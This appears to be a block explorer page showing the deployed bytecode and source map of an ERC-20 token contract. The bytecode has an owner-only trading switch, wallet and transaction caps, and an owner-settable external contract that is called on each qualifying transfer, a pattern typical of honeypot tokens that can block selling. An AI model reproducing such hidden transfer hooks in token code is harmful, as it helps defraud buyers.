60e51b81526004016105569061121b565b600891909155600955565b6000546001600160a01b031633146106495760405162461bcd60e51b81526004016105569061121b565b6106536000610cce565b565b6000546001600160a01b0316331461067f5760405162461bcd60e51b81526004016105569061121b565b6007805460ff19169055565b6000546001600160a01b031633146106b55760405162461bcd60e51b81526004016105569061121b565b600b805460ff60a01b1916600160a01b179055565b60606006805461042e906111b8565b3360009081526003602090815260408083206001600160a01b03861684529091528120548281101561075b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610556565b61076833858584036108c9565b5060019392505050565b60006104be3384846109ed565b6000546001600160a01b031633146107a95760405162461bcd60e51b81526004016105569061121b565b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146107fe5760405162461bcd60e51b81526004016105569061121b565b600a80546001600160a01b0383166001600160a01b0319909116179055600b805460ff60a01b1916600160a01b17905550565b6000546001600160a01b0316331461085b5760405162461bcd60e51b81526004016105569061121b565b6001600160a01b0381166108c05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610556565b6105e781610cce565b6001600160a01b03831661092b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610556565b6001600160a01b03821661098c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610556565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a515760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610556565b6001600160a01b038216610ab35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610556565b6000610ac0848484610d20565b6001600160a01b03851660009081526002602052604090205490915082811015610b3b5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610556565b6001600160a01b03808616600090815260026020526040808220868503905591861681529081208054849290610b72908490611208565b90915550610b8290508284611250565b60046000828254610b939190611250565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610bdf91815260200190565b60405180910390a35050505050565b6001600160a01b038216610c4e5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b6064820152608401610556565b6001600160a01b038216600090815260026020526040902080547f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc5483820390925590610c9b8382611208565b61dead60005260026020527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc5550505050565b600180546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600b54600090600160a01b900460ff16610da2576001546001600160a01b0385811691161480610d5d57506001546001600160a01b038481169116145b610da25760405162461bcd60e51b81526020600482015260166024820152751d1c98591a5b99c81a5cc81b9bdd081cdd185c9d195960521b6044820152606401610556565b60075460ff168015610dcd57506001600160a01b0383166000908152600c602052604090205460ff16155b8015610de75750600b546001600160a01b03848116911614155b8015610e0157506001546001600160a01b03848116911614155b8015610e1b57506001546001600160a01b03858116911614155b15610f2e5760085482610e43856001600160a01b031660009081526002602052604090205490565b610e4d9190611208565b1115610eb65760405162461bcd60e51b815260206004820152603260248201527f457863656564732063757272656e74206d6178696d756d20616d6f756e7420616044820152711b1b1bddd959081a5b8818481dd85b1b195d60721b6064820152608401610556565b600954821115610f2e5760405162461bcd60e51b815260206004820152603760248201527f457863656564732063757272656e74206d6178696d756d20616d6f756e74206160448201527f6c6c6f77656420696e2061207472616e73616374696f6e0000000000000000006064820152608401610556565b6001600160a01b0384166000908152600c602052604090205460ff16158015610f7057506001600160a01b0383166000908152600c602052604090205460ff16155b8015610f865750600a546001600160a01b031615155b1561100c57600a546040516323b872dd60e01b81526001600160a01b038681166004830152858116602483015260448201859052909116906323b872dd906064016020604051808303816000875af1158015610fe6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061100a9190611263565b505b5092915050565b600060208083528351808285015260005b8181101561104057858101830151858201604001528201611024565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461107857600080fd5b919050565b6000806040838503121561109057600080fd5b61109983611061565b946020939093013593505050565b6000806000606084860312156110bc57600080fd5b6110c584611061565b92506110d360208501611061565b9150604084013590509250925092565b6000602082840312156110f557600080fd5b5035919050565b60006020828403121561110e57600080fd5b61111782611061565b9392505050565b6000806040838503121561113157600080fd5b50508035926020909101359150565b6000806040838503121561115357600080fd5b61115c83611061565b915061116a60208401611061565b90509250929050565b80151581146105e757600080fd5b6000806040838503121561119457600080fd5b61119d83611061565b915060208301356111ad81611173565b809150509250929050565b600181811c908216806111cc57607f821691505b6020821081036111ec57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156104c2576104c26111f2565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b818103818111156104c2576104c26111f2565b60006020828403121561127557600080fd5b81516111178161117356fea264697066735822122048ab9a4670551a1d8e260c9e9f029a0074205ce4663d41e837acfd1f3db1338f64736f6c63430008130033

Deployed Bytecode Sourcemap

11628:2970:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4424:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5479:210;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;5479:210:0;1004:187:1;4745:108:0;4833:12;;4745:108;;;1342:25:1;;;1330:2;1315:18;4745:108:0;1196:177:1;5697:525:0;;;;;;:::i;:::-;;:::i;4644:93::-;;;4727:2;1853:36:1;;1841:2;1826:18;4644:93:0;1711:184:1;6230:297:0;;;;;;:::i;:::-;;:::i;13799:95::-;;;;;;:::i;:::-;;:::i;:::-;;11838:28;;;;;-1:-1:-1;;;;;11838:28:0;;;;;;-1:-1:-1;;;;;2249:32:1;;;2231:51;;2219:2;2204:18;11838:28:0;2085:203:1;11965:47:0;;;;;;:::i;:::-;;;;;;;;;;;;;;14297:213;;;;;;:::i;:::-;;:::i;4861:177::-;;;;;;:::i;:::-;-1:-1:-1;;;;;5012:18:0;4980:7;5012:18;;;:9;:18;;;;;;;4861:177;3469:103;;;:::i;14518:77::-;;;:::i;14083:78::-;;;:::i;11701:26::-;;;;;;;;;11734:31;;;;;;3247:87;3320:6;;-1:-1:-1;;;;;3320:6:0;3247:87;;4532:104;;;:::i;6535:480::-;;;;;;:::i;:::-;;:::i;5046:216::-;;;;;;:::i;:::-;;:::i;11806:25::-;;;;;-1:-1:-1;;;;;11806:25:0;;;11873:31;;;;;-1:-1:-1;;;11873:31:0;;;;;;11772:27;;;;;;5270:201;;;;;;:::i;:::-;-1:-1:-1;;;;;5436:18:0;;;5404:7;5436:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5270:201;11911:47;;;;;;:::i;:::-;;;;;;;;;;;;;;;;13902:173;;;;;;:::i;:::-;;:::i;14169:120::-;;;;;;:::i;:::-;;:::i;3580:238::-;;;;;;:::i;:::-;;:::i;4424:100::-;4478:13;4511:5;4504:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4424:100;:::o;5479:210::-;5598:4;5620:39;2850:10;5643:7;5652:6;5620:8;:39::i;:::-;-1:-1:-1;5677:4:0;5479:210;;;;;:::o;5697:525::-;5837:4;5854:36;5864:6;5872:9;5883:6;5854:9;:36::i;:::-;-1:-1:-1;;;;;5928:19:0;;5901:24;5928:19;;;:11;:19;;;;;;;;2850:10;5928:33;;;;;;;;5994:26;;;;5972:116;;;;-1:-1:-1;;;5972:116:0;;4032:2:1;5972:116:0;;;4014:21:1;4071:2;4051:18;;;4044:30;4110:34;4090:18;;;4083:62;-1:-1:-1;;;4161:18:1;;;4154:38;4209:19;;5972:116:0;;;;;;;;;6124:57;6133:6;2850:10;6174:6;6155:16;:25;6124:8;:57::i;:::-;-1:-1:-1;6210:4:0;;5697:525;-1:-1:-1;;;;5697:525:0:o;6230:297::-;2850:10;6345:4;6439:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;6439:34:0;;;;;;;;;;6345:4;;6367:130;;6417:7;;6439:47;;6476:10;;6439:47;:::i;:::-;6367:8;:130::i;13799:95::-;3382:6;;-1:-1:-1;;;;;3382:6:0;2850:10;3382:22;3374:67;;;;-1:-1:-1;;;3374:67:0;;;;;;;:::i;:::-;13859:27:::1;2850:10:::0;13879:6:::1;13859:5;:27::i;:::-;13799:95:::0;:::o;14297:213::-;3382:6;;-1:-1:-1;;;;;3382:6:0;2850:10;3382:22;3374:67;;;;-1:-1:-1;;;3374:67:0;;;;;;;:::i;:::-;14427:16:::1;:36:::0;;;;14474:12:::1;:28:::0;14297:213::o;3469:103::-;3382:6;;-1:-1:-1;;;;;3382:6:0;2850:10;3382:22;3374:67;;;;-1:-1:-1;;;3374:67:0;;;;;;;:::i;:::-;3534:30:::1;3561:1;3534:18;:30::i;:::-;3469:103::o:0;14518:77::-;3382:6;;-1:-1:-1;;;;;3382:6:0;2850:10;3382:22;3374:67;;;;-1:-1:-1;;;3374:67:0;;;;;;;:::i;:::-;14572:7:::1;:15:::0;;-1:-1:-1;;14572:15:0::1;::::0;;14518:77::o;14083:78::-;3382:6;;-1:-1:-1;;;;;3382:6:0;2850:10;3382:22;3374:67;;;;-1:-1:-1;;;3374:67:0;;;;;;;:::i;:::-;14135:11:::1;:18:::0;;-1:-1:-1;;;;14135:18:0::1;-1:-1:-1::0;;;14135:18:0::1;::::0;;14083:78::o;4532:104::-;4588:13;4621:7;4614:14;;;;;:::i;6535:480::-;2850:10;6655:4;6704:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;6704:34:0;;;;;;;;;;6771:35;;;;6749:122;;;;-1:-1:-1;;;6749:122:0;;5064:2:1;6749:122:0;;;5046:21:1;5103:2;5083:18;;;5076:30;5142:34;5122:18;;;5115:62;-1:-1:-1;;;5193:18:1;;;5186:35;5238:19;;6749:122:0;4862:401:1;6749:122:0;6907:67;2850:10;6930:7;6958:15;6939:16;:34;6907:8;:67::i;:::-;-1:-1:-1;7003:4:0;;6535:480;-1:-1:-1;;;6535:480:0:o;5046:216::-;5168:4;5190:42;2850:10;5214:9;5225:6;5190:9;:42::i;13902:173::-;3382:6;;-1:-1:-1;;;;;3382:6:0;2850:10;3382:22;3374:67;;;;-1:-1:-1;;;3374:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;14021:25:0;;;::::1;;::::0;;;:15:::1;:25;::::0;;;;:46;;-1:-1:-1;;14021:46:0::1;::::0;::::1;;::::0;;;::::1;::::0;;13902:173::o;14169:120::-;3382:6;;-1:-1:-1;;;;;3382:6:0;2850:10;3382:22;3374:67;;;;-1:-1:-1;;;3374:67:0;;;;;;;:::i;:::-;13742:10;:19;;-1:-1:-1;;;;;13742:19:0;;-1:-1:-1;;;;;;13742:19:0;;;;;;14263:11:::1;:18:::0;;-1:-1:-1;;;;14263:18:0::1;-1:-1:-1::0;;;14263:18:0::1;::::0;;14169:120;:::o;3580:238::-;3382:6;;-1:-1:-1;;;;;3382:6:0;2850:10;3382:22;3374:67;;;;-1:-1:-1;;;3374:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3683:22:0;::::1;3661:110;;;::::0;-1:-1:-1;;;3661:110:0;;5470:2:1;3661:110:0::1;::::0;::::1;5452:21:1::0;5509:2;5489:18;;;5482:30;5548:34;5528:18;;;5521:62;-1:-1:-1;;;5599:18:1;;;5592:36;5645:19;;3661:110:0::1;5268:402:1::0;3661:110:0::1;3782:28;3801:8;3782:18;:28::i;8624:378::-:0;-1:-1:-1;;;;;8760:19:0;;8752:68;;;;-1:-1:-1;;;8752:68:0;;5877:2:1;8752:68:0;;;5859:21:1;5916:2;5896:18;;;5889:30;5955:34;5935:18;;;5928:62;-1:-1:-1;;;6006:18:1;;;5999:34;6050:19;;8752:68:0;5675:400:1;8752:68:0;-1:-1:-1;;;;;8839:21:0;;8831:68;;;;-1:-1:-1;;;8831:68:0;;6282:2:1;8831:68:0;;;6264:21:1;6321:2;6301:18;;;6294:30;6360:34;6340:18;;;6333:62;-1:-1:-1;;;6411:18:1;;;6404:32;6453:19;;8831:68:0;6080:398:1;8831:68:0;-1:-1:-1;;;;;8910:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8962:32;;1342:25:1;;;8962:32:0;;1315:18:1;8962:32:0;;;;;;;8624:378;;;:::o;7023:888::-;-1:-1:-1;;;;;7163:20:0;;7155:70;;;;-1:-1:-1;;;7155:70:0;;6685:2:1;7155:70:0;;;6667:21:1;6724:2;6704:18;;;6697:30;6763:34;6743:18;;;6736:62;-1:-1:-1;;;6814:18:1;;;6807:35;6859:19;;7155:70:0;6483:401:1;7155:70:0;-1:-1:-1;;;;;7244:23:0;;7236:71;;;;-1:-1:-1;;;7236:71:0;;7091:2:1;7236:71:0;;;7073:21:1;7130:2;7110:18;;;7103:30;7169:34;7149:18;;;7142:62;-1:-1:-1;;;7220:18:1;;;7213:33;7263:19;;7236:71:0;6889:399:1;7236:71:0;7318:26;7376:47;7397:6;7405:9;7416:6;7376:20;:47::i;:::-;-1:-1:-1;;;;;7458:17:0;;7434:21;7458:17;;;:9;:17;;;;;;7355:68;;-1:-1:-1;7508:23:0;;;;7486:111;;;;-1:-1:-1;;;7486:111:0;;7495:2:1;7486:111:0;;;7477:21:1;7534:2;7514:18;;;7507:30;7573:34;7553:18;;;7546:62;-1:-1:-1;;;7624:18:1;;;7617:36;7670:19;;7486:111:0;7293:402:1;7486:111:0;-1:-1:-1;;;;;7633:17:0;;;;;;;:9;:17;;;;;;7653:22;;;7633:42;;7697:20;;;;;;;;:42;;7721:18;;7633:17;7697:42;;7721:18;;7697:42;:::i;:::-;;;;-1:-1:-1;7767:27:0;;-1:-1:-1;7776:18:0;7767:6;:27;:::i;:::-;7750:12;;:45;;;;;;;:::i;:::-;;;;;;;;7828:9;-1:-1:-1;;;;;7811:35:0;7820:6;-1:-1:-1;;;;;7811:35:0;;7839:6;7811:35;;;;1342:25:1;;1330:2;1315:18;;1196:177;7811:35:0;;;;;;;;7144:767;;7023:888;;;:::o;8201:415::-;-1:-1:-1;;;;;8285:21:0;;8277:67;;;;-1:-1:-1;;;8277:67:0;;8035:2:1;8277:67:0;;;8017:21:1;8074:2;8054:18;;;8047:30;8113:34;8093:18;;;8086:62;-1:-1:-1;;;8164:18:1;;;8157:31;8205:19;;8277:67:0;7833:397:1;8277:67:0;-1:-1:-1;;;;;8380:18:0;;8355:22;8380:18;;;:9;:18;;;;;;;8431:26;;8514:23;;;8493:44;;;8380:18;8588:20;8514:23;8431:26;8588:20;:::i;:::-;8577:6;8559:26;;:9;:26;;;:49;-1:-1:-1;;;;8201:415:0:o;3826:191::-;3919:6;;;-1:-1:-1;;;;;3936:17:0;;;-1:-1:-1;;;;;;3936:17:0;;;;;;;3969:40;;3919:6;;;3936:17;3919:6;;3969:40;;3900:16;;3969:40;3889:128;3826:191;:::o;12619:1043::-;12785:11;;12760:7;;-1:-1:-1;;;12785:11:0;;;;12780:112;;3320:6;;-1:-1:-1;;;;;12821:15:0;;;3320:6;;12821:15;;:32;;-1:-1:-1;3320:6:0;;-1:-1:-1;;;;;12840:13:0;;;3320:6;;12840:13;12821:32;12813:67;;;;-1:-1:-1;;;12813:67:0;;8437:2:1;12813:67:0;;;8419:21:1;8476:2;8456:18;;;8449:30;-1:-1:-1;;;8495:18:1;;;8488:52;8557:18;;12813:67:0;8235:346:1;12813:67:0;12920:7;;;;:44;;;;-1:-1:-1;;;;;;12945:19:0;;;;;;:15;:19;;;;;;;;12944:20;12920:44;:80;;;;-1:-1:-1;12987:13:0;;-1:-1:-1;;;;;12981:19:0;;;12987:13;;12981:19;;12920:80;:110;;;;-1:-1:-1;3320:6:0;;-1:-1:-1;;;;;13017:13:0;;;3320:6;;13017:13;;12920:110;:142;;;;-1:-1:-1;3320:6:0;;-1:-1:-1;;;;;13047:15:0;;;3320:6;;13047:15;;12920:142;12902:513;;;13147:16;;13137:6;13115:19;13131:2;-1:-1:-1;;;;;5012:18:0;4980:7;5012:18;;;:9;:18;;;;;;;4861:177;13115:19;:28;;;;:::i;:::-;:48;;13089:160;;;;-1:-1:-1;;;13089:160:0;;8788:2:1;13089:160:0;;;8770:21:1;8827:2;8807:18;;;8800:30;8866:34;8846:18;;;8839:62;-1:-1:-1;;;8917:18:1;;;8910:48;8975:19;;13089:160:0;8586:414:1;13089:160:0;13300:12;;13290:6;:22;;13264:139;;;;-1:-1:-1;;;13264:139:0;;9207:2:1;13264:139:0;;;9189:21:1;9246:2;9226:18;;;9219:30;9285:34;9265:18;;;9258:62;9356:25;9336:18;;;9329:53;9399:19;;13264:139:0;9005:419:1;13264:139:0;-1:-1:-1;;;;;13444:21:0;;;;;;:15;:21;;;;;;;;13443:22;:59;;;;-1:-1:-1;;;;;;13483:19:0;;;;;;:15;:19;;;;;;;;13482:20;13443:59;:100;;;;-1:-1:-1;13519:10:0;;-1:-1:-1;;;;;13519:10:0;:24;;13443:100;13425:206;;;13577:10;;13570:49;;-1:-1:-1;;;13570:49:0;;-1:-1:-1;;;;;9687:15:1;;;13570:49:0;;;9669:34:1;9739:15;;;9719:18;;;9712:43;9771:18;;;9764:34;;;13577:10:0;;;;13570:31;;9604:18:1;;13570:49:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;13425:206;-1:-1:-1;13648:6:0;12619:1043;-1:-1:-1;;12619:1043:0:o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:328::-;1455:6;1463;1471;1524:2;1512:9;1503:7;1499:23;1495:32;1492:52;;;1540:1;1537;1530:12;1492:52;1563:29;1582:9;1563:29;:::i;:::-;1553:39;;1611:38;1645:2;1634:9;1630:18;1611:38;:::i;:::-;1601:48;;1696:2;1685:9;1681:18;1668:32;1658:42;;1378:328;;;;;:::o;1900:180::-;1959:6;2012:2;2000:9;1991:7;1987:23;1983:32;1980:52;;;2028:1;2025;2018:12;1980:52;-1:-1:-1;2051:23:1;;1900:180;-1:-1:-1;1900:180:1:o;2293:186::-;2352:6;2405:2;2393:9;2384:7;2380:23;2376:32;2373:52;;;2421:1;2418;2411:12;2373:52;2444:29;2463:9;2444:29;:::i;:::-;2434:39;2293:186;-1:-1:-1;;;2293:186:1:o;2484:248::-;2552:6;2560;2613:2;2601:9;2592:7;2588:23;2584:32;2581:52;;;2629:1;2626;2619:12;2581:52;-1:-1:-1;;2652:23:1;;;2722:2;2707:18;;;2694:32;;-1:-1:-1;2484:248:1:o;2737:260::-;2805:6;2813;2866:2;2854:9;2845:7;2841:23;2837:32;2834:52;;;2882:1;2879;2872:12;2834:52;2905:29;2924:9;2905:29;:::i;:::-;2895:39;;2953:38;2987:2;2976:9;2972:18;2953:38;:::i;:::-;2943:48;;2737:260;;;;;:::o;3002:118::-;3088:5;3081:13;3074:21;3067:5;3064:32;3054:60;;3110:1;3107;3100:12;3125:315;3190:6;3198;3251:2;3239:9;3230:7;3226:23;3222:32;3219:52;;;3267:1;3264;3257:12;3219:52;3290:29;3309:9;3290:29;:::i;:::-;3280:39;;3369:2;3358:9;3354:18;3341:32;3382:28;3404:5;3382:28;:::i;:::-;3429:5;3419:15;;;3125:315;;;;;:::o;3445:380::-;3524:1;3520:12;;;;3567;;;3588:61;;3642:4;3634:6;3630:17;3620:27;;3588:61;3695:2;3687:6;3684:14;3664:18;3661:38;3658:161;;3741:10;3736:3;3732:20;3729:1;3722:31;3776:4;3773:1;3766:15;3804:4;3801:1;3794:15;3658:161;;3445:380;;;:::o;4239:127::-;4300:10;4295:3;4291:20;4288:1;4281:31;4331:4;4328:1;4321:15;4355:4;4352:1;4345:15;4371:125;4436:9;;;4457:10;;;4454:36;;;4470:18;;:::i;4501:356::-;4703:2;4685:21;;;4722:18;;;4715:30;4781:34;4776:2;4761:18;;4754:62;4848:2;4833:18;;4501:356::o;7700:128::-;7767:9;;;7788:11;;;7785:37;;;7802:18;;:::i;9809:245::-;9876:6;9929:2;9917:9;9908:7;9904:23;9900:32;9897:52;;;9945:1;9942;9935:12;9897:52;9977:9;9971:16;9996:28;10018:5;9996:28;:::i

Swarm Source

ipfs://48ab9a4670551a1d8e260c9e9f029a0074205ce4663d41e837acfd1f3db1338f
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.